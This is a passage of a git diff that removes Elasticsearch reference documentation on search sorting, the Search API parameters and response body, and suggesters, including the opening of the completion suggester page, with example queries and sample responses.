-               "path": "parent",
-               "filter": {
-                  "range": {"parent.age": {"gte": 21}}
-               },
-               "nested": {
-                  "path": "parent.child",
-                  "filter": {
-                     "match": {"parent.child.name": "matt"}
-                  }
-               }
-            }
-         }
-      }
-   ]
-}
---------------------------------------------------
-
-Nested sorting is also supported when sorting by
-scripts and sorting by geo distance.
-
-[discrete]
-=== Missing Values
-
-The `missing` parameter specifies how docs which are missing
-the sort field should be treated: The `missing` value can be
-set to `_last`, `_first`, or a custom value (that
-will be used for missing docs as the sort value).
-The default is `_last`.
-
-For example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "sort" : [
-    { "price" : {"missing" : "_last"} }
-  ],
-  "query" : {
-    "term" : { "product" : "chocolate" }
-  }
-}
---------------------------------------------------
-
-NOTE: If a nested inner object doesn't match with
-the `nested_filter` then a missing value is used.
-
-[discrete]
-=== Ignoring Unmapped Fields
-
-By default, the search request will fail if there is no mapping
-associated with a field. The `unmapped_type` option allows you to ignore
-fields that have no mapping and not sort by them. The value of this
-parameter is used to determine what sort values to emit. Here is an
-example of how it can be used:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "sort" : [
-    { "price" : {"unmapped_type" : "long"} }
-  ],
-  "query" : {
-    "term" : { "product" : "chocolate" }
-  }
-}
---------------------------------------------------
-
-If any of the indices that are queried doesn't have a mapping for `price`
-then Elasticsearch will handle it as if there was a mapping of type
-`long`, with all documents in this index having no value for this field.
-
-[discrete]
-[[geo-sorting]]
-=== Geo Distance Sorting
-
-Allow to sort by `_geo_distance`. Here is an example, assuming `pin.location` is a field of type `geo_point`:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "sort" : [
-    {
-      "_geo_distance" : {
-          "pin.location" : [-70, 40],
-          "order" : "asc",
-          "unit" : "km",
-          "mode" : "min",
-          "distance_type" : "arc",
-          "ignore_unmapped": true
-      }
-    }
-  ],
-  "query" : {
-    "term" : { "user" : "kimchy" }
-  }
-}
---------------------------------------------------
-
-
-
-`distance_type`::
-
-    How to compute the distance. Can either be `arc` (default), or `plane` (faster, but inaccurate on long distances and close to the poles).
-
-`mode`::
-
-    What to do in case a field has several geo points. By default, the shortest
-    distance is taken into account when sorting in ascending order and the
-    longest distance when sorting in descending order. Supported values are
-    `min`, `max`, `median` and `avg`.
-
-`unit`::
-
-    The unit to use when computing sort values. The default is `m` (meters).
-
-
-`ignore_unmapped`::
-
-    Indicates if the unmapped field should be treated as a missing value. Setting it to `true` is equivalent to specifying
-    an `unmapped_type` in the field sort. The default is `false` (unmapped field cause the search to fail).
-
-NOTE: geo distance sorting does not support configurable missing values: the
-distance will always be considered equal to +Infinity+ when a document does not
-have values for the field that is used for distance computation.
-
-The following formats are supported in providing the coordinates:
-
-[discrete]
-==== Lat Lon as Properties
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "sort" : [
-    {
-      "_geo_distance" : {
-        "pin.location" : {
-          "lat" : 40,
-          "lon" : -70
-        },
-        "order" : "asc",
-        "unit" : "km"
-      }
-    }
-  ],
-  "query" : {
-    "term" : { "user" : "kimchy" }
-  }
-}
---------------------------------------------------
-
-[discrete]
-==== Lat Lon as String
-
-Format in `lat,lon`.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "sort": [
-    {
-      "_geo_distance": {
-        "pin.location": "40,-70",
-        "order": "asc",
-        "unit": "km"
-      }
-    }
-  ],
-  "query": {
-    "term": { "user": "kimchy" }
-  }
-}
---------------------------------------------------
-
-[discrete]
-==== Geohash
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "sort": [
-    {
-      "_geo_distance": {
-        "pin.location": "drm3btev3e86",
-        "order": "asc",
-        "unit": "km"
-      }
-    }
-  ],
-  "query": {
-    "term": { "user": "kimchy" }
-  }
-}
---------------------------------------------------
-
-[discrete]
-==== Lat Lon as Array
-
-Format in `[lon, lat]`, note, the order of lon/lat here in order to
-conform with http://geojson.org/[GeoJSON].
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "sort": [
-    {
-      "_geo_distance": {
-        "pin.location": [ -70, 40 ],
-        "order": "asc",
-        "unit": "km"
-      }
-    }
-  ],
-  "query": {
-    "term": { "user": "kimchy" }
-  }
-}
---------------------------------------------------
-
-[discrete]
-=== Multiple reference points
-
-Multiple geo points can be passed as an array containing any `geo_point` format, for example
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "sort": [
-    {
-      "_geo_distance": {
-        "pin.location": [ [ -70, 40 ], [ -71, 42 ] ],
-        "order": "asc",
-        "unit": "km"
-      }
-    }
-  ],
-  "query": {
-    "term": { "user": "kimchy" }
-  }
-}
---------------------------------------------------
-
-and so forth.
-
-The final distance for a document will then be `min`/`max`/`avg` (defined via `mode`) distance of all points contained in the document to all points given in the sort request.
-
-
-[discrete]
-=== Script Based Sorting
-
-Allow to sort based on custom scripts, here is an example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "term": { "user": "kimchy" }
-  },
-  "sort": {
-    "_script": {
-      "type": "number",
-      "script": {
-        "lang": "painless",
-        "source": "doc['field_name'].value * params.factor",
-        "params": {
-          "factor": 1.1
-        }
-      },
-      "order": "asc"
-    }
-  }
-}
---------------------------------------------------
-
-[discrete]
-=== Track Scores
-
-When sorting on a field, scores are not computed. By setting
-`track_scores` to true, scores will still be computed and tracked.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "track_scores": true,
-  "sort" : [
-    { "post_date" : {"order" : "desc"} },
-    { "name" : "desc" },
-    { "age" : "desc" }
-  ],
-  "query" : {
-    "term" : { "user" : "kimchy" }
-  }
-}
---------------------------------------------------
-
-[discrete]
-=== Memory Considerations
-
-When sorting, the relevant sorted field values are loaded into memory.
-This means that per shard, there should be enough memory to contain
-them. For string based types, the field sorted on should not be analyzed
-/ tokenized. For numeric types, if possible, it is recommended to
-explicitly set the type to narrower types (like `short`, `integer` and
-`float`).
diff --git a/docs/reference/search/search.asciidoc b/docs/reference/search/search.asciidoc
deleted file mode 100644
index 853b6f57582..00000000000
--- a/docs/reference/search/search.asciidoc
+++ /dev/null
@@ -1,720 +0,0 @@
-[[search-search]]
-=== Search API
-++++
-<titleabbrev>Search</titleabbrev>
-++++
-
-Returns search hits that match the query defined in the request.
-
-[source,console]
-----
-GET /my-index-000001/_search
-----
-// TEST[setup:my_index]
-
-[[search-search-api-request]]
-==== {api-request-title}
-
-`GET /<target>/_search`
-
-`GET /_search`
-
-`POST /<target>/_search`
-
-`POST /_search`
-
-[[search-search-api-desc]]
-==== {api-description-title}
-
-Allows you to execute a search query and get back search hits that match the
-query. You can provide search queries using the <<search-api-query-params-q,`q`
-query string parameter>> or <<search-request-body,request body>>.
-
-[[search-search-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases to search.
-Wildcard (`*`) expressions are supported.
-+
-To search all data streams and indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-[role="child_attributes"]
-[[search-search-api-query-params]]
-==== {api-query-parms-title}
-
-IMPORTANT: Several options for this API can be specified using a query parameter
-or a request body parameter. If both parameters are specified, only the query
-parameter is used.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-[[search-partial-responses]]
-`allow_partial_search_results`::
-(Optional, Boolean)
-If `true`, returns partial results if there are request timeouts or
-<<shard-failures,shard failures>>. If `false`, returns an error with
-no partial results. Defaults to `true`.
-+
-To override the default for this field, set the
-`search.default_allow_partial_results` cluster setting to `false`.
-
-`batched_reduce_size`::
-(Optional, integer) The number of shard results that should be reduced at once
-on the coordinating node. This value should be used as a protection mechanism
-to reduce the memory overhead per search request if the potential number of
-shards in the request can be large. Defaults to `512`.
-
-[[ccs-minimize-roundtrips]]
-`ccs_minimize_roundtrips`::
-(Optional, Boolean) If `true`, network round-trips between the
-coordinating node and the remote clusters are minimized when executing
-{ccs} (CCS) requests. See <<ccs-network-delays>>. Defaults to `true`.
-
-`docvalue_fields`::
-(Optional, string) A comma-separated list of fields to return as the docvalue
-representation of a field for each hit.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-`explain`::
-(Optional, Boolean) If `true`, returns detailed information about score
-computation as part of a hit. Defaults to `false`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=from]
-+
-By default, you cannot page through more than 10,000 hits using the `from` and
-`size` parameters. To page through more hits, use the
-<<search-after,`search_after`>> parameter.
-
-`ignore_throttled`::
-(Optional, Boolean) If `true`, concrete, expanded or aliased indices will be
-ignored when frozen. Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-`max_concurrent_shard_requests`::
-(Optional, integer) Defines the number of concurrent shard requests per node
-this search executes concurrently. This value should be used to limit the
-impact of the search on the cluster in order to limit the number of concurrent
-shard requests. Defaults to `5`.
-
-`pre_filter_shard_size`::
-(Optional, integer) Defines a threshold that enforces a pre-filter roundtrip
-to prefilter search shards based on query rewriting if the number of shards
-the search request expands to exceeds the threshold. This filter roundtrip can
-limit the number of shards significantly if for instance a shard can not match
-any documents based on its rewrite method ie. if date filters are mandatory
-to match but the shard bounds and the query are disjoint.
-When unspecified, the pre-filter phase is executed if any of these conditions is met:
-  - The request targets more than `128` shards.
-  - The request targets one or more read-only index.
-  - The primary sort of the query targets an indexed field.
-
-[[search-preference]]
-`preference`::
-(Optional, string)
-Nodes and shards used for the search. By default, {es} selects from eligible
-nodes and shards using <<search-adaptive-replica,adaptive replica selection>>,
-accounting for <<shard-allocation-awareness,allocation awareness>>.
-+
-.Valid values for `preference`
-[%collapsible%open]
-====
-`_only_local`::
-Run the search only on shards on the local node.
-
-`_local`::
-If possible, run the search on shards on the local node. If not, select shards
-using the default method.
-
-`_only_nodes:<node-id>,<node-id>`::
-Run the search on only the specified nodes IDs. If suitable shards exist on more
-than one selected nodes, use shards on those nodes using the default method. If
-none of the specified nodes are available, select shards from any available node
-using the default method.
-
-`_prefer_nodes:<node-id>,<node-id>`::
-If possible, run the search on the specified nodes IDs. If not, select shards
-using the default method.
-
-`_shards:<shard>,<shard>`::
-Run the search only on the specified shards. This value can be combined with
-other `preference` values, but this value must come first. For example:
-`_shards:2,3|_local`
-
-<custom-string>::
-Any string that does not start with `_`. If the cluster state and selected
-shards do not change, searches using the same `<custom-string>` value are routed
-to the same shards in the same order.
-====
-
-
-[[search-api-query-params-q]]
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=search-q]
-+
-You can use the `q` parameter to run a query parameter search. Query parameter
-searches do not support the full {es} <<query-dsl,Query DSL>> but are handy for
-testing.
-+
-IMPORTANT: The `q` parameter overrides the <<request-body-search-query,`query`>>
-parameter in the request body. If both parameters are specified, documents
-matching the `query` request body parameter are not returned.
-
-`request_cache`::
-(Optional, Boolean) If `true`, the caching of search results is enabled for
-requests where `size` is `0`. See <<shard-request-cache>>. Defaults to index
-level settings.
-
-`rest_total_hits_as_int`::
-(Optional, Boolean) Indicates whether hits.total should be rendered as an
-integer or an object in the rest search response. Defaults to `false`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=routing]
-
-[[search-api-scroll-query-param]]
-`scroll`::
-(Optional, <<time-units,time value>>)
-Period to retain the <<scroll-search-context,search context>> for scrolling. See
-<<scroll-search-results>>.
-+
-By default, this value cannot exceed `1d` (24 hours). You can change
-this limit using the `search.max_keep_alive` cluster-level setting.
-
-[[search-type]]
-`search_type`::
-(Optional, string)
-How {wikipedia}/Tf–idf[distributed term frequencies] are calculated for
-<<relevance-scores,relevance scoring>>.
-+
-.Valid values for `search_type`
-[%collapsible%open]
-====
-`query_then_fetch`::
-(Default)
-Distributed term frequencies are calculated locally for each shard running the
-search. We recommend this option for faster searches with potentially less
-accurate scoring.
-
-[[dfs-query-then-fetch]]
-`dfs_query_then_fetch`::
-Distributed term frequencies are calculated globally, using information gathered
-from all shards running the search. While this option increases the accuracy of
-scoring, it adds a round-trip to each shard, which can result in slower
-searches.
-====
-
-`seq_no_primary_term`::
-(Optional, Boolean) If `true`, returns sequence number and primary term of the
-last modification of each hit. See <<optimistic-concurrency-control>>.
-
-`size`::
-(Optional, integer) Defines the number of hits to return. Defaults to `10`.
-+
-By default, you cannot page through more than 10,000 hits using the `from` and
-`size` parameters. To page through more hits, use the
-<<search-after,`search_after`>> parameter.
-
-`sort`::
-(Optional, string) A comma-separated list of <field>:<direction> pairs.
-
-`_source`::
-(Optional)
-Indicates which <<mapping-source-field,source fields>> are returned for matching
-documents. These fields are returned in the `hits._source` property of
-the search response. Defaults to `true`.
-+
-.Valid values for `_source`
-[%collapsible%open]
-====
-`true`::
-(Boolean)
-The entire document source is returned.
-
-`false`::
-(Boolean)
-The document source is not returned.
-
-`<string>`::
-(string)
-Comma-separated list of source fields to return.
-Wildcard (`*`) patterns are supported.
-====
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source_excludes]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source_includes]
-
-`stats`::
-(Optional, string) Specific `tag` of the request for logging and statistical
-purposes.
-
-`stored_fields`::
-(Optional, string) A comma-separated list of stored fields to return as part
-of a hit. If no fields are specified, no stored fields are included in the
-response.
-+
-If this field is specified, the `_source` parameter defaults to `false`. You can
-pass `_source: true` to return both source fields and
-stored fields in the search response.
-
-`suggest_field`::
-(Optional, string) Specifies which field to use for suggestions.
-
-`suggest_text`::
-(Optional, string) The source text for which the suggestions should be
-returned.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=terminate_after]
-+
-Defaults to `0`, which does not terminate query execution early.
-
-`timeout`::
-(Optional, <<time-units, time units>>) Specifies the period of time to wait
-for a response. If no response is received before the timeout expires, the
-request fails and returns an error. Defaults to no timeout.
-
-`track_scores`::
-(Optional, Boolean) If `true`, calculate and return document scores, even if
-the scores are not used for sorting. Defaults to `false`.
-
-`track_total_hits`::
-(Optional, integer or Boolean)
-Number of hits matching the query to count accurately. Defaults to `10000`.
-+
-If `true`, the exact number of hits is returned at the cost of some performance.
-If `false`, the response does not include the total number of hits matching the query.
-
-`typed_keys`::
-(Optional, Boolean) If `true`, aggregation and suggester names are be prefixed
-by their respective types in the response. Defaults to `true`.
-
-`version`::
-(Optional, Boolean)
-If `true`, returns document version as part of a hit. Defaults to `false`.
-
-[role="child_attributes"]
-[[search-search-api-request-body]]
-==== {api-request-body-title}
-
-[[search-docvalue-fields-param]]
-`docvalue_fields`::
-(Optional, array of strings and objects)
-Array of wildcard (`*`) patterns. The request returns doc values for field names
-matching these patterns in the `hits.fields` property of the response.
-+
-You can specify items in the array as a string or object.
-See <<docvalue-fields>>.
-+
-.Properties of `docvalue_fields` objects
-[%collapsible%open]
-====
-`field`::
-(Required, string)
-Wildcard pattern. The request returns doc values for field names matching this
-pattern.
-
-`format`::
-(Optional, string)
-Format in which the doc values are returned.
-+
-For <<date,date fields>>, you can specify a  date <<mapping-date-format,date
-`format`>>. For <<number,numeric fields>> fields, you can specify a
-https://docs.oracle.com/javase/8/docs/api/java/text/DecimalFormat.html[DecimalFormat
-pattern].
-+
-For other field data types, this parameter is not supported.
-====
-
-`fields`::
-(Optional, array of strings and objects)
-Array of wildcard (`*`) patterns. The request returns values for field names
-matching these patterns in the `hits.fields` property of the response.
-+
-You can specify items in the array as a string or object.
-See <<search-fields-param>> for more details.
-+
-.Properties of `fields` objects
-[%collapsible%open]
-====
-`field`::
-(Required, string)
-Wildcard pattern. The request returns values for field names matching this pattern.
-
-`format`::
-(Optional, string)
-Format in which the values are returned.
-+
-The date fields <<date,`date`>> and <<date_nanos, `date_nanos`>> accept a
-<<mapping-date-format,date format>>. <<spatial_datatypes, Spatial fields>> accept either
-`geojson` for http://www.geojson.org[GeoJSON] (the default) or `wkt` for
-{wikipedia}/Well-known_text_representation_of_geometry[Well Known Text].
-+
-For other field data types, this parameter is not supported.
-====
-
-[[request-body-search-explain]]
-`explain`::
-(Optional, Boolean) If `true`, returns detailed information about score
-computation as part of a hit. Defaults to `false`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=from]
-+
-By default, you cannot page through more than 10,000 hits using the `from` and
-`size` parameters. To page through more hits, use the
-<<search-after,`search_after`>> parameter.
-
-`indices_boost`::
-(Optional, array of objects)
-Boosts the <<relevance-scores,`_score`>> of documents from specified indices.
-+
-.Properties of `indices_boost` objects
-[%collapsible%open]
-====
-`<index>: <boost-value>`::
-(Required, float)
-`<index>` is the name of the index or index alias. Wildcard (`*`) expressions
-are supported.
-+
-`<boost-value>` is the factor by which scores are multiplied.
-+
-A boost value greater than `1.0` increases the score. A boost value between
-`0` and `1.0` decreases the score.
-====
-
-[[search-api-min-score]]
-`min_score`::
-(Optional, float)
-Minimum <<relevance-scores,`_score`>> for matching documents. Documents with a
-lower `_score` are not included in the search results.
-
-[[request-body-search-query]]
-`query`::
-(Optional, <<query-dsl,query object>>) Defines the search definition using the
-<<query-dsl,Query DSL>>.
-
-[[request-body-search-seq-no-primary-term]]
-`seq_no_primary_term`::
-(Optional, Boolean) If `true`, returns sequence number and primary term of the
-last modification of each hit. See <<optimistic-concurrency-control>>.
-
-`size`:: 
-(Optional, integer) The number of hits to return. Defaults to `10`.
-+
-By default, you cannot page through more than 10,000 hits using the `from` and
-`size` parameters. To page through more hits, use the
-<<search-after,`search_after`>> parameter.
-
-`_source`::
-(Optional)
-Indicates which <<mapping-source-field,source fields>> are returned for matching
-documents. These fields are returned in the `hits._source` property of
-the search response. Defaults to `true`.
-+
-.Valid values for `_source`
-[%collapsible%open]
-====
-`true`::
-(Boolean)
-The entire document source is returned.
-
-`false`::
-(Boolean)
-The document source is not returned.
-
-`<wildcard_pattern>`::
-(string or array of strings)
-Wildcard (`*`) pattern or array of patterns containing source fields to return.
-
-`<object>`::
-(object)
-Object containing a list of source fields to include or exclude.
-+
-.Properties for `<object>`
-[%collapsible%open]
-=====
-`excludes`::
-(string or array of strings)
-Wildcard (`*`) pattern or array of patterns containing source fields to exclude
-from the response.
-+
-You can also use this property to exclude fields from the subset specified in
-`includes` property.
-
-`includes`::
-(string or array of strings)
-Wildcard (`*`) pattern or array of patterns containing source fields to return.
-+
-If this property is specified, only these source fields are returned. You can
-exclude fields from this subset using the `excludes` property.
-=====
-====
-
-[[stats-groups]]
-`stats`::
-(Optional, array of strings)
-Stats groups to associate with the search. Each group maintains a statistics
-aggregation for its associated searches. You can retrieve these stats using the
-<<indices-stats,indices stats API>>.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=terminate_after]
-+
-Defaults to `0`, which does not terminate query execution early.
-
-`timeout`::
-(Optional, <<time-units, time units>>) Specifies the period of time to wait
-for a response. If no response is received before the timeout expires, the
-request fails and returns an error. Defaults to no timeout.
-
-[[request-body-search-version]]
-`version`::
-(Optional, Boolean)
-If `true`, returns document version as part of a hit. Defaults to `false`.
-
-
-[role="child_attributes"]
-[[search-api-response-body]]
-==== {api-response-body-title}
-
-`_scroll_id`::
-(string)
-Identifier for the search and its <<scroll-search-context,search context>>.
-+
-You can use this scroll ID with the <<scroll-api,scroll API>> to retrieve the
-next batch of search results for the request. See
-<<scroll-search-results>>.
-+
-This parameter is only returned if the <<search-api-scroll-query-param,`scroll`
-query parameter>> is specified in the request.
-
-`took`::
-+
---
-(integer)
-Milliseconds it took {es} to execute the request.
-
-This value is calculated by measuring the time elapsed
-between receipt of a request on the coordinating node
-and the time at which the coordinating node is ready to send the response.
-
-Took time includes:
-
-* Communication time between the coordinating node and data nodes
-* Time the request spends in the `search` <<modules-threadpool,thread pool>>,
-  queued for execution
-* Actual execution time
-
-Took time does *not* include:
-
-* Time needed to send the request to {es}
-* Time needed to serialize the JSON response
-* Time needed to send the response to a client
---
-
-`timed_out`::
-(Boolean)
-If `true`,
-the request timed out before completion;
-returned results may be partial or empty.
-
-`_shards`::
-(object)
-Contains a count of shards used for the request.
-+
-.Properties of `_shards`
-[%collapsible%open]
-====
-`total`::
-(integer)
-Total number of shards that require querying,
-including unallocated shards.
-
-`successful`::
-(integer)
-Number of shards that executed the request successfully.
-
-`skipped`::
-(integer)
-Number of shards that skipped the request because a lightweight check
-helped realize that no documents could possibly match on this shard. This
-typically happens when a search request includes a range filter and the
-shard only has values that fall outside of that range.
-
-`failed`::
-(integer)
-Number of shards that failed to execute the request. Note that shards
-that are not allocated will be considered neither successful nor failed.
-Having `failed+successful` less than `total` is thus an indication that
-some of the shards were not allocated.
-====
-
-`hits`::
-(object)
-Contains returned documents and metadata.
-+
-.Properties of `hits`
-[%collapsible%open]
-====
-`total`::
-(object)
-Metadata about the number of returned documents.
-+
-.Properties of `total`
-[%collapsible%open]
-=====
-`value`::
-(integer)
-Total number of returned documents.
-
-`relation`::
-(string)
-Indicates whether the number of returned documents in the `value`
-parameter is accurate or a lower bound.
-+
-.Values of `relation`:
-[%collapsible%open]
-======
-`eq`:: Accurate
-`gte`:: Lower bound, including returned documents
-======
-=====
-
-`max_score`::
-(float)
-Highest returned <<search-api-response-body-score,document `_score`>>.
-+
-This value is `null` for requests that do not sort by `_score`.
-
-[[search-api-response-body-hits]]
-`hits`::
-(array of objects)
-Array of returned document objects.
-+
-.Properties of `hits` objects
-[%collapsible%open]
-=====
-`_index`::
-(string)
-Name of the index containing the returned document.
-
-`_type`::
-deprecated:[6.0.0, Mapping types are deprecated and will be removed in 8.0. See <<removal-of-types>>.]
-(string)
-Mapping type of the returned document.
-
-`_id`::
-(string)
-Unique identifier for the returned document.
-This ID is only unique within the returned index.
-
-[[search-api-response-body-score]]
-`_score`::
-(float)
-Positive 32-bit floating point number used to determine the relevance of the
-returned document.
-
-[[search-api-response-body-source]]
-`_source`::
-(object)
-Original JSON body passed for the document at index time.
-+
-You can use the `_source` parameter to exclude this property from the response
-or specify which source fields to return.
-
-`fields`::
-+
---
-(object)
-Contains field values for the documents. These fields must be specified in the
-request using one or more of the following request parameters:
-
-* <<search-docvalue-fields-param,`docvalue_fields`>>
-* <<script-fields,`script_fields`>>
-* <<stored-fields,`stored_fields`>>
-
-This property is returned only if one or more of these parameters are set.
---
-+
-.Properties of `fields`
-[%collapsible%open]
-======
-`<field>`::
-(array)
-Key is the field name. Value is the value for the field.
-======
-=====
-====
-
-[[search-search-api-example]]
-==== {api-examples-title}
-
-[source,console]
-----
-GET /my-index-000001/_search
-{
-  "query": {
-    "term": {
-      "user.id": "kimchy"
-    }
-  }
-}
-----
-// TEST[setup:my_index]
-
-The API returns the following response:
-
-[source,console-result]
-----
-{
-  "took": 5,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped": 0,
-    "failed": 0
-  },
-  "hits": {
-    "total": {
-      "value": 1,
-      "relation": "eq"
-    },
-    "max_score": 1.3862942,
-    "hits": [
-      {
-        "_index": "my-index-000001",
-        "_type" : "_doc",
-        "_id": "0",
-        "_score": 1.3862942,
-        "_source": {
-          "@timestamp": "2099-11-15T14:12:12",
-          "http": {
-            "request": {
-              "method": "get"
-            },
-            "response": {
-              "status_code": 200,
-              "bytes": 1070000
-            },
-            "version": "1.1"
-          },
-          "source": {
-            "ip": "127.0.0.1"
-          },
-          "message": "GET /search HTTP/1.1 200 1070000",
-          "user": {
-            "id": "kimchy"
-          }
-        }
-      }
-    ]
-  }
-}
-----
-// TESTRESPONSE[s/"took": 5/"took": $body.took/]
diff --git a/docs/reference/search/suggesters.asciidoc b/docs/reference/search/suggesters.asciidoc
deleted file mode 100644
index b416bf82a3e..00000000000
--- a/docs/reference/search/suggesters.asciidoc
+++ /dev/null
@@ -1,158 +0,0 @@
-[[search-suggesters]]
-=== Suggesters
-
-Suggests similar looking terms based on a provided text by using a suggester. 
-Parts of the suggest feature are still under development.
-
-[source,console]
---------------------------------------------------
-POST my-index-000001/_search
-{
-  "query" : {
-    "match": {
-      "message": "tring out Elasticsearch"
-    }
-  },
-  "suggest" : {
-    "my-suggestion" : {
-      "text" : "tring out Elasticsearch",
-      "term" : {
-        "field" : "message"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:messages]
-
-
-[[search-suggesters-api-request]]
-==== {api-request-title}
-
-The suggest feature suggests similar looking terms based on a provided text by 
-using a suggester. The suggest request part is defined alongside the query part 
-in a `_search` request. If the query part is left out, only suggestions are 
-returned.
-
-NOTE: `_suggest` endpoint has been deprecated in favour of using suggest via
-`_search` endpoint. In 5.0, the `_search` endpoint has been optimized for
-suggest only search requests.
-
-
-[[search-suggesters-api-example]]
-==== {api-examples-title}
-
-Several suggestions can be specified per request. Each suggestion is identified 
-with an arbitrary name. In the example below two suggestions are requested. Both 
-`my-suggest-1` and `my-suggest-2` suggestions use the `term` suggester, but have 
-a different `text`.
-
-[source,console]
---------------------------------------------------
-POST _search
-{
-  "suggest": {
-    "my-suggest-1" : {
-      "text" : "tring out Elasticsearch",
-      "term" : {
-        "field" : "message"
-      }
-    },
-    "my-suggest-2" : {
-      "text" : "kmichy",
-      "term" : {
-        "field" : "user.id"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:messages]
-// TEST[s/^/PUT my-index-000001\/_mapping\n{"properties":{"user":{"properties":{"id":{"type":"keyword"}}}}}\n/]
-
-The below suggest response example includes the suggestion response for
-`my-suggest-1` and `my-suggest-2`. Each suggestion part contains
-entries. Each entry is effectively a token from the suggest text and
-contains the suggestion entry text, the original start offset and length
-in the suggest text and if found an arbitrary number of options.
-
-[source,console-result]
---------------------------------------------------
-{
-  "_shards": ...
-  "hits": ...
-  "took": 2,
-  "timed_out": false,
-  "suggest": {
-    "my-suggest-1": [ {
-      "text": "tring",
-      "offset": 0,
-      "length": 5,
-      "options": [ {"text": "trying", "score": 0.8, "freq": 1 } ]
-    }, {
-      "text": "out",
-      "offset": 6,
-      "length": 3,
-      "options": []
-    }, {
-      "text": "elasticsearch",
-      "offset": 10,
-      "length": 13,
-      "options": []
-    } ],
-    "my-suggest-2": ...
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": "$body._shards",/]
-// TESTRESPONSE[s/"hits": .../"hits": "$body.hits",/]
-// TESTRESPONSE[s/"took": 2,/"took": "$body.took",/]
-// TESTRESPONSE[s/"my-suggest-2": \.\.\./"my-suggest-2": "$body.suggest.my-suggest-2"/]
-
-
-Each options array contains an option object that includes the
-suggested text, its document frequency and score compared to the suggest
-entry text. The meaning of the score depends on the used suggester. The
-term suggester's score is based on the edit distance.
-
-[discrete]
-[[global-suggest]]
-===== Global suggest text
-
-To avoid repetition of the suggest text, it is possible to define a
-global text. In the example below the suggest text is defined globally
-and applies to the `my-suggest-1` and `my-suggest-2` suggestions.
-
-[source,console]
---------------------------------------------------
-POST _search
-{
-  "suggest": {
-    "text" : "tring out Elasticsearch",
-    "my-suggest-1" : {
-      "term" : {
-        "field" : "message"
-      }
-    },
-    "my-suggest-2" : {
-       "term" : {
-        "field" : "user"
-       }
-    }
-  }
-}
---------------------------------------------------
-
-The suggest text can in the above example also be specified as
-suggestion specific option. The suggest text specified on suggestion
-level override the suggest text on the global level.
-
-include::suggesters/term-suggest.asciidoc[]
-
-include::suggesters/phrase-suggest.asciidoc[]
-
-include::suggesters/completion-suggest.asciidoc[]
-
-include::suggesters/context-suggest.asciidoc[]
-
-include::suggesters/misc.asciidoc[]
diff --git a/docs/reference/search/suggesters/completion-suggest.asciidoc b/docs/reference/search/suggesters/completion-suggest.asciidoc
deleted file mode 100644
index e64b7bf99cc..00000000000
--- a/docs/reference/search/suggesters/completion-suggest.asciidoc
+++ /dev/null
@@ -1,430 +0,0 @@
-[[completion-suggester]]
-==== Completion Suggester
-
-NOTE: In order to understand the format of suggestions, please
-read the <<search-suggesters>> page first. For more flexible
-search-as-you-type searches that do not use suggesters, see the
-<<search-as-you-type,`search_as_you_type` field type>>.
-
-The `completion` suggester provides auto-complete/search-as-you-type
-functionality. This is a navigational feature to guide users to
-relevant results as they are typing, improving search precision.
-It is not meant for spell correction or did-you-mean functionality
-like the `term` or `phrase` suggesters.
-
-Ideally, auto-complete functionality should be as fast as a user
-types to provide instant feedback relevant to what a user has already
-typed in. Hence, `completion` suggester is optimized for speed.
-The suggester uses data structures that enable fast lookups,
-but are costly to build and are stored in-memory.
-
-[[completion-suggester-mapping]]
-===== Mapping
-
-To use this feature, specify a special mapping for this field,
-which indexes the field values for fast completions.
-
-[source,console]
---------------------------------------------------
-PUT music
-{
-  "mappings": {
-    "properties": {
-      "suggest": {
-        "type": "completion"
-      },
-      "title": {
-        "type": "keyword"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-Mapping supports the following parameters:
-
-[horizontal]
-`analyzer`::
-    The index analyzer to use, defaults to `simple`.
-
-`search_analyzer`::
-    The search analyzer to use, defaults to value of `analyzer`.
-
-`preserve_separators`::
-    Preserves the separators, defaults to `true`.
-    If disabled, you could find a field starting with `Foo Fighters`, if you
-    suggest for `foof`.
-
-`preserve_position_increments`::
-    Enables position increments, defaults to `true`.
-    If disabled and using stopwords analyzer, you could get a
-    field starting with `The Beatles`, if you suggest for `b`. *Note*: You
-    could also achieve this by indexing two inputs, `Beatles` and
-    `The Beatles`, no need to change a simple analyzer, if you are able to
-    enrich your data.
-
-`max_input_length`::
-    Limits the length of a single input, defaults to `50` UTF-16 code points.
-    This limit is only used at index time to reduce the total number of
-    characters per input string in order to prevent massive inputs from
-    bloating the underlying datastructure. Most use cases won't be influenced
-    by the default value since prefix completions seldom grow beyond prefixes longer
-    than a handful of characters.
-
-[[indexing]]
-===== Indexing
-
-You index suggestions like any other field. A suggestion is made of an
